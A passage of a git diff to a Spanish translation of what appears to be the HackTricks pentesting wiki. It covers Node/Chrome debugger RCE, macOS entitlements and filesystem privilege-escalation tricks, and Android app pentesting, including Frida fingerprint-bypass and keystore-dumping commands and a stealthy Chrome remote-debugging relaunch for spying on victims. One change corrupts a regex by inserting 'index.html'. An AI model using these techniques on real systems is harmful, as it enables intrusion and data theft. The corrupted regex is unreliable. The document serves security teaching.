nuevo** con `--inspect` **no es una opción** porque el **contenedor** será **eliminado** junto con el proceso. +> Esto es útil en contenedores porque **detener el proceso y comenzar uno nuevo** con `--inspect` **no es una opción** porque el **contenedor** será **eliminado** junto con el proceso. ### Conectar al inspector/debugger @@ -78,7 +78,7 @@ La herramienta [**https://github.com/taviso/cefdebug**](https://github.com/tavis ## RCE en el Depurador/Inspector de NodeJS > [!NOTE] -> Si llegó aquí buscando cómo obtener [**RCE de un XSS en Electron, consulte esta página.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) +> Si llegó aquí buscando cómo obtener [**RCE a partir de un XSS en Electron, consulte esta página.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/index.html) Algunas formas comunes de obtener **RCE** cuando puede **conectarse** a un **inspector** de Node son usar algo como (parece que esto **no funcionará en una conexión al protocolo de Chrome DevTools**): ```javascript @@ -92,9 +92,9 @@ Browser.open(JSON.stringify({ url: "c:\\windows\\system32\\calc.exe" })) Puedes consultar la API aquí: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ En esta sección solo listaré cosas interesantes que he encontrado que la gente ha utilizado para explotar este protocolo. -### Inyección de Parámetros a través de Enlaces Profundos +### Inyección de Parámetros a través de Deep Links -En el [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino security descubrió que una aplicación basada en CEF **registró un URI personalizado** en el sistema (workspaces://) que recibía el URI completo y luego **lanzaba la aplicación basada en CEF** con una configuración que se construía parcialmente a partir de ese URI. +En el [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino security descubrió que una aplicación basada en CEF **registró un URI personalizado** en el sistema (workspaces://index.html) que recibía el URI completo y luego **lanzaba la aplicación basada en CEF** con una configuración que se construía parcialmente a partir de ese URI. Se descubrió que los parámetros del URI eran decodificados y utilizados para lanzar la aplicación básica de CEF, permitiendo a un usuario **inyectar** la bandera **`--gpu-launcher`** en la **línea de comandos** y ejecutar cosas arbitrarias. @@ -106,7 +106,7 @@ Ejecutará un calc.exe. ### Sobrescribir Archivos -Cambia la carpeta donde **se van a guardar los archivos descargados** y descarga un archivo para **sobrescribir** el **código fuente** de la aplicación que se utiliza con frecuencia con tu **código malicioso**. +Cambia la carpeta donde **se van a guardar los archivos descargados** y descarga un archivo para **sobrescribir** el **código fuente** de la aplicación que se usa con frecuencia con tu **código malicioso**. ```javascript ws = new WebSocket(url) //URL of the chrome devtools service ws.send( @@ -128,7 +128,7 @@ Según esta publicación: [https://medium.com/@knownsec404team/counter-webdriver En un entorno real y **después de comprometer** una PC de usuario que utiliza un navegador basado en Chrome/Chromium, podrías lanzar un proceso de Chrome con **la depuración activada y redirigir el puerto de depuración** para que puedas acceder a él. De esta manera, podrás **inspeccionar todo lo que la víctima hace con Chrome y robar información sensible**. -La forma sigilosa es **terminar todos los procesos de Chrome** y luego llamar a algo como +La forma sigilosa es **terminar cada proceso de Chrome** y luego llamar a algo como ```bash Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session" ``` diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/README.md index 7ac864e02..6951eb408 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -79,7 +79,7 @@ Para este tipo de vulnerabilidades, no olvides **verificar instaladores `.pkg` v macos-files-folders-and-binaries/macos-installers-abuse.md {{#endref}} -### Controladores de Aplicaciones de Extensión de Archivo y Esquema de URL +### Manejadores de Extensiones de Archivos y Esquemas de URL Aplicaciones extrañas registradas por extensiones de archivo podrían ser abusadas y diferentes aplicaciones pueden registrarse para abrir protocolos específicos. @@ -95,7 +95,7 @@ Por lo tanto, un atacante que quiera comprometer con éxito una máquina macOS n Estos privilegios generalmente se otorgan en forma de **derechos** con los que la aplicación está firmada, o la aplicación podría solicitar algunos accesos y después de que el **usuario los apruebe**, pueden encontrarse en las **bases de datos TCC**. Otra forma en que un proceso puede obtener estos privilegios es siendo un **hijo de un proceso** con esos **privilegios**, ya que generalmente son **heredados**. -Sigue estos enlaces para encontrar diferentes formas de [**escalar privilegios en TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), para [**eludir TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) y cómo en el pasado [**se ha eludido SIP**](macos-security-protections/macos-sip.md#sip-bypasses). +Sigue estos enlaces para encontrar diferentes formas de [**escalar privilegios en TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), para [**eludir TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) y cómo en el pasado [**se ha eludido SIP**](macos-security-protections/macos-sip.md#sip-bypasses). ## Escalación de Privilegios Tradicional en macOS diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md index 30eaba262..ff4271fa3 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md @@ -17,11 +17,11 @@ El derecho **`com.apple.rootless.install`** permite **eludir SIP**. Consulte [es ### **`com.apple.system-task-ports` (anteriormente llamado `task_for_pid-allow`)** -Este derecho permite obtener el **puerto de tarea para cualquier** proceso, excepto el núcleo. Consulte [**esto para más información**](../macos-proces-abuse/macos-ipc-inter-process-communication/). +Este derecho permite obtener el **puerto de tarea para cualquier** proceso, excepto el núcleo. Consulte [**esto para más información**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html). ### `com.apple.security.get-task-allow` -Este derecho permite a otros procesos con el derecho **`com.apple.security.cs.debugger`** obtener el puerto de tarea del proceso ejecutado por el binario con este derecho y **inyectar código en él**. Consulte [**esto para más información**](../macos-proces-abuse/macos-ipc-inter-process-communication/). +Este derecho permite a otros procesos con el derecho **`com.apple.security.cs.debugger`** obtener el puerto de tarea del proceso ejecutado por el binario con este derecho y **inyectar código en él**. Consulte [**esto para más información**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html). ### `com.apple.security.cs.debugger` @@ -33,7 +33,7 @@ Este derecho permite **cargar frameworks, plug-ins o bibliotecas sin estar firma ### `com.apple.private.security.clear-library-validation` -Este derecho es muy similar a **`com.apple.security.cs.disable-library-validation`** pero **en lugar de** **deshabilitar directamente** la validación de bibliotecas, permite que el proceso **llame a una llamada al sistema `csops` para deshabilitarla**.\ +Este derecho es muy similar a **`com.apple.security.cs.disable-library-validation`** pero **en lugar de** **deshabilitar directamente** la validación de bibliotecas, permite al proceso **realizar una llamada al sistema `csops` para deshabilitarla**.\ Consulte [**esto para más información**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/). ### `com.apple.security.cs.allow-dyld-environment-variables` @@ -117,7 +117,7 @@ Es posible verificar quién tiene este acceso en _Configuración del Sistema_ > ### `kTCCServiceAccessibility` -El proceso podrá **abusar de las características de accesibilidad de macOS**, lo que significa que, por ejemplo, podrá presionar combinaciones de teclas. Así que podría solicitar acceso para controlar una aplicación como Finder y aprobar el diálogo con este permiso. +El proceso podrá **abusar de las funciones de accesibilidad de macOS**, lo que significa que, por ejemplo, podrá presionar combinaciones de teclas. Así que podría solicitar acceso para controlar una aplicación como Finder y aprobar el diálogo con este permiso. ## Medio @@ -130,7 +130,7 @@ Este derecho permite **crear memoria que es escribible y ejecutable** al pasar l Este derecho permite **sobrescribir o parchear código C**, usar el obsoleto **`NSCreateObjectFileImageFromMemory`** (que es fundamentalmente inseguro), o usar el marco **DVDPlayback**. Consulta [**esto para más información**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory). > [!CAUTION] -> Incluir este derecho expone tu aplicación a vulnerabilidades comunes en lenguajes de código inseguros en memoria. Considera cuidadosamente si tu aplicación necesita esta excepción. +> Incluir este derecho expone tu aplicación a vulnerabilidades comunes en lenguajes de código inseguro en memoria. Considera cuidadosamente si tu aplicación necesita esta excepción. ### `com.apple.security.cs.disable-executable-page-protection` @@ -156,7 +156,7 @@ Según esta publicación de blog, este permiso TCC generalmente se encuentra en [Array] [String] kTCCServiceAll ``` -Permitir que el proceso **solicite todos los permisos de TCC**. +Permitir que el proceso **pida todos los permisos de TCC**. ### **`kTCCServicePostEvent`** diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md index 88ae39995..225c0e5e6 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md @@ -10,15 +10,15 @@ Permisos en un **directorio**: - **escribir** - puedes **eliminar/escribir** **archivos** en el directorio y puedes **eliminar carpetas vacías**. - Pero **no puedes eliminar/modificar carpetas no vacías** a menos que tengas permisos de escritura sobre ellas. - **No puedes modificar el nombre de una carpeta** a menos que seas el propietario. -- **ejecutar** - se te **permite recorrer** el directorio - si no tienes este derecho, no puedes acceder a ningún archivo dentro de él, ni en subdirectorios. +- **ejecutar** - se te **permite atravesar** el directorio - si no tienes este derecho, no puedes acceder a ningún archivo dentro de él, ni en ningún subdirectorio. -### Combinaciones Peligrosas +### Combinaciones peligrosas **Cómo sobrescribir un archivo/carpeta propiedad de root**, pero: - Un **propietario de directorio** padre en la ruta es el usuario - Un **propietario de directorio** padre en la ruta es un **grupo de usuarios** con **acceso de escritura** -- Un **grupo** de usuarios tiene acceso de **escritura** al **archivo** +- Un **grupo** de usuarios tiene **acceso de escritura** al **archivo** Con cualquiera de las combinaciones anteriores, un atacante podría **inyectar** un **enlace simbólico/duro** en la ruta esperada para obtener una escritura arbitraria privilegiada. @@ -30,7 +30,7 @@ Ejemplo en: [https://theevilbit.github.io/posts/exploiting_directory_permissions ## Enlace simbólico / Enlace duro -### Archivo/carpeta permisiva +### Archivo/carpeta permisivo Si un proceso privilegiado está escribiendo datos en un **archivo** que podría ser **controlado** por un **usuario de menor privilegio**, o que podría haber sido **creado previamente** por un usuario de menor privilegio. El usuario podría simplemente **apuntarlo a otro archivo** a través de un enlace simbólico o duro, y el proceso privilegiado escribirá en ese archivo. @@ -38,7 +38,7 @@ Consulta en las otras secciones donde un atacante podría **abusar de una escrit ### Abrir `O_NOFOLLOW` -La bandera `O_NOFOLLOW` cuando es utilizada por la función `open` no seguirá un symlink en el último componente de la ruta, pero seguirá el resto de la ruta. La forma correcta de prevenir seguir symlinks en la ruta es utilizando la bandera `O_NOFOLLOW_ANY`. +La bandera `O_NOFOLLOW` cuando se usa en la función `open` no seguirá un symlink en el último componente de la ruta, pero seguirá el resto de la ruta. La forma correcta de prevenir el seguimiento de symlinks en la ruta es utilizando la bandera `O_NOFOLLOW_ANY`. ## .fileloc @@ -58,7 +58,7 @@ Ejemplo: ``` ## Descriptores de Archivo -### Fuga de FD (sin `O_CLOEXEC`) +### Filtración de FD (sin `O_CLOEXEC`) Si una llamada a `open` no tiene la bandera `O_CLOEXEC`, el descriptor de archivo será heredado por el proceso hijo. Así que, si un proceso privilegiado abre un archivo privilegiado y ejecuta un proceso controlado por el atacante, el atacante **heredará el FD sobre el archivo privilegiado**. @@ -195,7 +195,7 @@ Sin embargo, hay algunos archivos cuya firma no será verificada, estos tienen l rules2 ... -^(.*/)?\.DS_Store$ +^(.*/index.html)?\.DS_Store$ omit @@ -248,12 +248,12 @@ hdiutil detach /private/tmp/mnt 1>/dev/null # You can also create a dmg from an app using: hdiutil create -srcfolder justsome.app justsome.dmg ``` -Usualmente, macOS monta discos hablando con el servicio Mach `com.apple.DiskArbitrarion.diskarbitrariond` (proporcionado por `/usr/libexec/diskarbitrationd`). Si se agrega el parámetro `-d` al archivo plist de LaunchDaemons y se reinicia, almacenará registros en `/var/log/diskarbitrationd.log`.\ +Usualmente, macOS monta discos hablando con el servicio Mach `com.apple.DiskArbitration.diskarbitrationd` (proporcionado por `/usr/libexec/diskarbitrationd`). Si se agrega el parámetro `-d` al archivo plist de LaunchDaemons y se reinicia, almacenará registros en `/var/log/diskarbitrationd.log`.\ Sin embargo, es posible usar herramientas como `hdik` y `hdiutil` para comunicarse directamente con el kext `com.apple.driver.DiskImages`. ## Escrituras Arbitrarias -### Scripts sh periódicos +### Scripts sh Periódicos Si tu script pudiera ser interpretado como un **script de shell**, podrías sobrescribir el **`/etc/periodic/daily/999.local`** script de shell que se activará todos los días. @@ -312,7 +312,7 @@ Es posible escapar del sandbox de macOS con una escritura arbitraria en el siste ## Generar archivos escribibles como otros usuarios -Esto generará un archivo que pertenece a root que es escribible por mí ([**código de aquí**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Esto también podría funcionar como privesc: +Esto generará un archivo que pertenece a root y que es escribible por mí ([**código de aquí**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Esto también podría funcionar como privesc: ```bash DIRNAME=/usr/local/etc/periodic/daily @@ -424,7 +424,7 @@ return 0; **Descriptores protegidos de macOS** son una característica de seguridad introducida en macOS para mejorar la seguridad y fiabilidad de las **operaciones de descriptores de archivo** en aplicaciones de usuario. Estos descriptores protegidos proporcionan una forma de asociar restricciones específicas o "guardias" con descriptores de archivo, que son aplicadas por el kernel. -Esta característica es particularmente útil para prevenir ciertas clases de vulnerabilidades de seguridad, como **acceso no autorizado a archivos** o **condiciones de carrera**. Estas vulnerabilidades ocurren cuando, por ejemplo, un hilo está accediendo a una descripción de archivo dando **acceso a otro hilo vulnerable sobre ella** o cuando un descriptor de archivo es **heredado** por un proceso hijo vulnerable. Algunas funciones relacionadas con esta funcionalidad son: +Esta característica es particularmente útil para prevenir ciertas clases de vulnerabilidades de seguridad, como **acceso no autorizado a archivos** o **condiciones de carrera**. Estas vulnerabilidades ocurren cuando, por ejemplo, un hilo está accediendo a una descripción de archivo dando **acceso a otro hilo vulnerable** o cuando un descriptor de archivo es **heredado** por un proceso hijo vulnerable. Algunas funciones relacionadas con esta funcionalidad son: - `guarded_open_np`: Abre un FD con una guardia - `guarded_close_np`: Ciérralo diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 6239030d9..77ff40a5f 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -76,7 +76,7 @@ Del archivo **strings.xml**, se puede descubrir información sensible como clave ### Tapjacking -**Tapjacking** es un ataque donde una **aplicación maliciosa** se lanza y **se posiciona sobre una aplicación víctima**. Una vez que oculta visiblemente la aplicación víctima, su interfaz de usuario está diseñada de tal manera que engaña al usuario para que interactúe con ella, mientras pasa la interacción a la aplicación víctima.\ +**Tapjacking** es un ataque donde una **aplicación maliciosa** se lanza y **se posiciona encima de una aplicación víctima**. Una vez que oculta visiblemente la aplicación víctima, su interfaz de usuario está diseñada de tal manera que engaña al usuario para que interactúe con ella, mientras pasa la interacción a la aplicación víctima.\ En efecto, está **cegando al usuario para que no sepa que realmente está realizando acciones en la aplicación víctima**. Encuentra más información en: @@ -181,7 +181,7 @@ Según este [**post de blog**](https://clearbluejar.github.io/posts/desuperpacki ### Análisis Estático Automatizado de Código -La herramienta [**mariana-trench**](https://github.com/facebook/mariana-trench) es capaz de encontrar **vulnerabilidades** mediante **escanear** el **código** de la aplicación. Esta herramienta contiene una serie de **fuentes conocidas** (que indican a la herramienta los **lugares** donde la **entrada** es **controlada por el usuario**), **sumideros** (que indican a la herramienta **lugares peligrosos** donde la entrada maliciosa del usuario podría causar daños) y **reglas**. Estas reglas indican la **combinación** de **fuentes-sumideros** que indica una vulnerabilidad. +La herramienta [**mariana-trench**](https://github.com/facebook/mariana-trench) es capaz de encontrar **vulnerabilidades** mediante el **escaneo** del **código** de la aplicación. Esta herramienta contiene una serie de **fuentes conocidas** (que indican a la herramienta los **lugares** donde la **entrada** es **controlada por el usuario**), **sumideros** (que indican a la herramienta **lugares peligrosos** donde la entrada maliciosa del usuario podría causar daños) y **reglas**. Estas reglas indican la **combinación** de **fuentes-sumideros** que indica una vulnerabilidad. Con este conocimiento, **mariana-trench revisará el código y encontrará posibles vulnerabilidades en él**. @@ -216,7 +216,7 @@ content-protocol.md > Primero que nada, necesitas un entorno donde puedas instalar la aplicación y todo el entorno (certificado CA de Burp, Drozer y Frida principalmente). Por lo tanto, se recomienda encarecidamente un dispositivo rooteado (emulado o no). -### Análisis dinámico en línea +### Análisis Dinámico en Línea Puedes crear una **cuenta gratuita** en: [https://appetize.io/](https://appetize.io). Esta plataforma te permite **subir** y **ejecutar** APKs, por lo que es útil para ver cómo se comporta un apk. @@ -226,7 +226,7 @@ Incluso puedes **ver los registros de tu aplicación** en la web y conectarte a Gracias a la conexión ADB, puedes usar **Drozer** y **Frida** dentro de los emuladores. -### Análisis dinámico local +### Análisis Dinámico Local #### Usando un emulador @@ -243,11 +243,11 @@ avd-android-virtual-device.md > [!NOTE] > Al crear un nuevo emulador en cualquier plataforma, recuerda que cuanto más grande sea la pantalla, más lento funcionará el emulador. Así que selecciona pantallas pequeñas si es posible. -Para **instalar servicios de Google** (como AppStore) en Genymotion, necesitas hacer clic en el botón marcado en rojo de la siguiente imagen: +Para **instalar servicios de google** (como AppStore) en Genymotion, necesitas hacer clic en el botón marcado en rojo de la siguiente imagen: ![](<../../images/image (277).png>) -Además, ten en cuenta que en la **configuración de la VM de Android en Genymotion** puedes seleccionar **modo de red Bridge** (esto será útil si te conectarás a la VM de Android desde una VM diferente con las herramientas). +Además, ten en cuenta que en la **configuración de la VM de Android en Genymotion** puedes seleccionar **Modo de Red Bridge** (esto será útil si te conectarás a la VM de Android desde una VM diferente con las herramientas). #### Usar un dispositivo físico @@ -274,7 +274,7 @@ Los desarrolladores deben tener cuidado de exponer **información de depuración **Caché del Portapapeles** -El marco **basado en portapapeles** de Android permite la funcionalidad de copiar y pegar en las aplicaciones, pero presenta un riesgo ya que **otras aplicaciones** pueden **acceder** al portapapeles, exponiendo potencialmente datos sensibles. Es crucial **deshabilitar las funciones de copiar/pegar** para secciones sensibles de una aplicación, como los detalles de tarjetas de crédito, para prevenir filtraciones de datos. +El marco **basado en portapapeles** de Android permite la funcionalidad de copiar y pegar en aplicaciones, pero presenta un riesgo ya que **otras aplicaciones** pueden **acceder** al portapapeles, exponiendo potencialmente datos sensibles. Es crucial **deshabilitar las funciones de copiar/pegar** para secciones sensibles de una aplicación, como los detalles de tarjetas de crédito, para prevenir filtraciones de datos. **Registros de Fallos** @@ -288,7 +288,7 @@ Las aplicaciones a menudo integran servicios como Google Adsense, que pueden ina ### Bases de Datos SQLite -La mayoría de las aplicaciones utilizarán **bases de datos SQLite internas** para guardar información. Durante el pentest, echa un **vistazo** a las **bases de datos** creadas, los nombres de **tablas** y **columnas** y todos los **datos** guardados porque podrías encontrar **información sensible** (lo que sería una vulnerabilidad).\ +La mayoría de las aplicaciones utilizarán **bases de datos SQLite internas** para guardar información. Durante el pentest, echa un **vistazo** a las **bases de datos** creadas, los nombres de las **tablas** y **columnas** y todos los **datos** guardados porque podrías encontrar **información sensible** (lo que sería una vulnerabilidad).\ Las bases de datos deberían estar ubicadas en `/data/data/the.package.name/databases` como `/data/data/com.mwr.example.sieve/databases`. Si la base de datos está guardando información confidencial y está **encriptada** pero puedes **encontrar** la **contraseña** dentro de la aplicación, sigue siendo una **vulnerabilidad**. @@ -303,7 +303,7 @@ Drozer es una herramienta útil para **explotar actividades exportadas, servicio ### Explotando Actividades Exportadas [**Lee esto si quieres refrescar qué es una Actividad de Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -También recuerda que el código de una actividad comienza en el **método `onCreate`**. +También recuerda que el código de una actividad comienza en el método **`onCreate`**. **Bypass de Autorización** @@ -313,14 +313,14 @@ Cuando una Actividad es exportada, puedes invocar su pantalla desde una aplicaci También puedes iniciar una actividad exportada desde adb: -- El nombre del paquete es com.example.demo -- El nombre de la actividad exportada es com.example.test.MainActivity +- PackageName es com.example.demo +- Exported ActivityName es com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` **NOTA**: MobSF detectará como malicioso el uso de _**singleTask/singleInstance**_ como `android:launchMode` en una actividad, pero debido a [esto](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), aparentemente esto solo es peligroso en versiones antiguas (versiones de API < 21). -> [!NOTE] +> [!NOTA] > Ten en cuenta que un bypass de autorización no siempre es una vulnerabilidad, dependería de cómo funciona el bypass y qué información se expone. **Filtración de información sensible** @@ -381,7 +381,7 @@ Cada vez que encuentres un deep link verifica que **no esté recibiendo datos se **Parámetros en la ruta** Debes **verificar también si algún deep link está utilizando un parámetro dentro de la ruta** de la URL como: `https://api.example.com/v1/users/{username}`, en ese caso puedes forzar un recorrido de ruta accediendo a algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\ -Ten en cuenta que si encuentras los endpoints correctos dentro de la aplicación, podrías causar un **Open Redirect** (si parte de la ruta se usa como nombre de dominio), **toma de control de cuenta** (si puedes modificar los detalles de los usuarios sin un token CSRF y el endpoint vulnerable usó el método correcto) y cualquier otra vulnerabilidad. Más [info sobre esto aquí](http://dphoeniixx.com/2020/12/13-2/). +Ten en cuenta que si encuentras los endpoints correctos dentro de la aplicación, podrías ser capaz de causar un **Open Redirect** (si parte de la ruta se usa como nombre de dominio), **toma de control de cuenta** (si puedes modificar los detalles de los usuarios sin un token CSRF y el endpoint vulnerable usó el método correcto) y cualquier otra vulnerabilidad. Más [info sobre esto aquí](http://dphoeniixx.com/2020/12/13-2/). **Más ejemplos** @@ -391,11 +391,11 @@ Un [informe de bug bounty interesante](https://hackerone.com/reports/855618) sob - **Los certificados no siempre son inspeccionados adecuadamente** por las aplicaciones de Android. Es común que estas aplicaciones pasen por alto advertencias y acepten certificados autofirmados o, en algunos casos, vuelvan a usar conexiones HTTP. - **Las negociaciones durante el apretón de manos SSL/TLS son a veces débiles**, empleando suites de cifrado inseguras. Esta vulnerabilidad hace que la conexión sea susceptible a ataques de hombre en el medio (MITM), permitiendo a los atacantes descifrar los datos. -- **La filtración de información privada** es un riesgo cuando las aplicaciones se autentican utilizando canales seguros pero luego se comunican a través de canales no seguros para otras transacciones. Este enfoque no protege los datos sensibles, como cookies de sesión o detalles de usuario, de la interceptación por entidades maliciosas. +- **La filtración de información privada** es un riesgo cuando las aplicaciones se autentican utilizando canales seguros pero luego se comunican a través de canales no seguros para otras transacciones. Este enfoque no protege los datos sensibles, como cookies de sesión o detalles del usuario, de la interceptación por entidades maliciosas. #### Verificación de certificados -Nos centraremos en la **verificación de certificados**. La integridad del certificado del servidor debe ser verificada para mejorar la seguridad. Esto es crucial porque las configuraciones TLS inseguras y la transmisión de datos sensibles a través de canales no cifrados pueden representar riesgos significativos. Para pasos detallados sobre cómo verificar certificados de servidor y abordar vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) proporciona una guía completa. +Nos centraremos en la **verificación de certificados**. La integridad del certificado del servidor debe ser verificada para mejorar la seguridad. Esto es crucial porque configuraciones TLS inseguras y la transmisión de datos sensibles a través de canales no encriptados pueden representar riesgos significativos. Para pasos detallados sobre cómo verificar certificados de servidor y abordar vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) proporciona una guía completa. #### SSL Pinning @@ -403,9 +403,9 @@ SSL Pinning es una medida de seguridad donde la aplicación verifica el certific #### Inspección de tráfico -Para inspeccionar el tráfico HTTP, es necesario **instalar el certificado de la herramienta proxy** (por ejemplo, Burp). Sin instalar este certificado, el tráfico cifrado podría no ser visible a través de la proxy. Para una guía sobre cómo instalar un certificado CA personalizado, [**haz clic aquí**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +Para inspeccionar el tráfico HTTP, es necesario **instalar el certificado de la herramienta proxy** (por ejemplo, Burp). Sin instalar este certificado, el tráfico encriptado podría no ser visible a través del proxy. Para una guía sobre cómo instalar un certificado CA personalizado, [**haz clic aquí**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Las aplicaciones que apuntan a **API Level 24 y superiores** requieren modificaciones en la Configuración de Seguridad de Red para aceptar el certificado CA de la proxy. Este paso es crítico para inspeccionar el tráfico cifrado. Para instrucciones sobre cómo modificar la Configuración de Seguridad de Red, [**consulta este tutorial**](make-apk-accept-ca-certificate.md). +Las aplicaciones que apuntan a **API Level 24 y superiores** requieren modificaciones en la Configuración de Seguridad de Red para aceptar el certificado CA del proxy. Este paso es crítico para inspeccionar tráfico encriptado. Para instrucciones sobre cómo modificar la Configuración de Seguridad de Red, [**consulta este tutorial**](make-apk-accept-ca-certificate.md). #### Bypass de SSL Pinning @@ -425,11 +425,11 @@ Es importante también buscar vulnerabilidades web comunes dentro de la aplicaci [Frida](https://www.frida.re) es un kit de herramientas de instrumentación dinámica para desarrolladores, ingenieros de reversa e investigadores de seguridad.\ **Puedes acceder a la aplicación en ejecución y enganchar métodos en tiempo de ejecución para cambiar el comportamiento, cambiar valores, extraer valores, ejecutar diferentes códigos...**\ -Si deseas hacer pentesting en aplicaciones Android, necesitas saber cómo usar Frida. +Si deseas hacer pentesting en aplicaciones de Android, necesitas saber cómo usar Frida. -- Aprende a usar Frida: [**Tutorial de Frida**](frida-tutorial/) +- Aprende a usar Frida: [**Tutorial de Frida**](frida-tutorial/index.html) - Algunas "GUI" para acciones con Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Ojection es excelente para automatizar el uso de Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- Ojection es genial para automatizar el uso de Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) - Puedes encontrar algunos scripts de Frida geniales aquí: [**https://codeshare.frida.re/**](https://codeshare.frida.re) - Intenta eludir mecanismos de anti-debugging / anti-frida cargando Frida como se indica en [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (herramienta [linjector](https://github.com/erfur/linjector-rs)) @@ -452,15 +452,15 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a ``` ### **Datos sensibles en Keystore** -En Android, el Keystore es el mejor lugar para almacenar datos sensibles; sin embargo, con suficientes privilegios, **es posible acceder a él**. Dado que las aplicaciones tienden a almacenar aquí **datos sensibles en texto claro**, las pruebas de penetración deben verificarlo, ya que un usuario root o alguien con acceso físico al dispositivo podría ser capaz de robar estos datos. +En Android, el Keystore es el mejor lugar para almacenar datos sensibles; sin embargo, con suficientes privilegios, **es posible acceder a él**. Dado que las aplicaciones tienden a almacenar aquí **datos sensibles en texto claro**, las pruebas de penetración deben verificarlo, ya que un usuario root o alguien con acceso físico al dispositivo podría robar estos datos. Incluso si una aplicación almacena datos en el keystore, los datos deben estar cifrados. -Para acceder a los datos dentro del keystore, podrías usar este script de Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) +Para acceder a los datos dentro del keystore, puedes usar este script de Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` -### **Bypass de Huellas Dactilares/Biométricos** +### **Bypass de huellas dactilares/bio-metría** Usando el siguiente script de Frida, podría ser posible **eludir la autenticación por huella dactilar** que las aplicaciones de Android podrían estar realizando para **proteger ciertas áreas sensibles:** ```bash @@ -488,7 +488,7 @@ Los desarrolladores a menudo crean componentes proxy como actividades, servicios El peligro radica en permitir que los atacantes activen componentes de la aplicación no exportados o accedan a proveedores de contenido sensibles al desviar estos Intents. Un ejemplo notable es el componente `WebView` que convierte URLs en objetos `Intent` a través de `Intent.parseUri(...)` y luego los ejecuta, lo que puede llevar a inyecciones de Intent maliciosas. -### Puntos Clave Esenciales +### Conclusiones Esenciales - **Inyección de Intents** es similar al problema de Redirección Abierta en la web. - Los exploits implican pasar objetos `Intent` como extras, que pueden ser redirigidos para ejecutar operaciones inseguras. @@ -502,7 +502,7 @@ Probablemente conozcas este tipo de vulnerabilidades de la web. Debes tener espe - **Inyección SQL:** Al tratar con consultas dinámicas o Content-Providers, asegúrate de usar consultas parametrizadas. - **Inyección de JavaScript (XSS):** Verifica que el soporte de JavaScript y Plugins esté deshabilitado para cualquier WebView (deshabilitado por defecto). [Más información aquí](webview-attacks.md#javascript-enabled). - **Inclusión de Archivos Locales:** Los WebViews deben tener el acceso al sistema de archivos deshabilitado (habilitado por defecto) - `(webview.getSettings().setAllowFileAccess(false);)`. [Más información aquí](webview-attacks.md#javascript-enabled). -- **Cookies Eternas**: En varios casos, cuando la aplicación android finaliza la sesión, la cookie no se revoca o incluso podría guardarse en el disco. +- **Cookies Eternas:** En varios casos, cuando la aplicación Android finaliza la sesión, la cookie no se revoca o incluso podría guardarse en el disco. - [**Secure Flag** en cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- 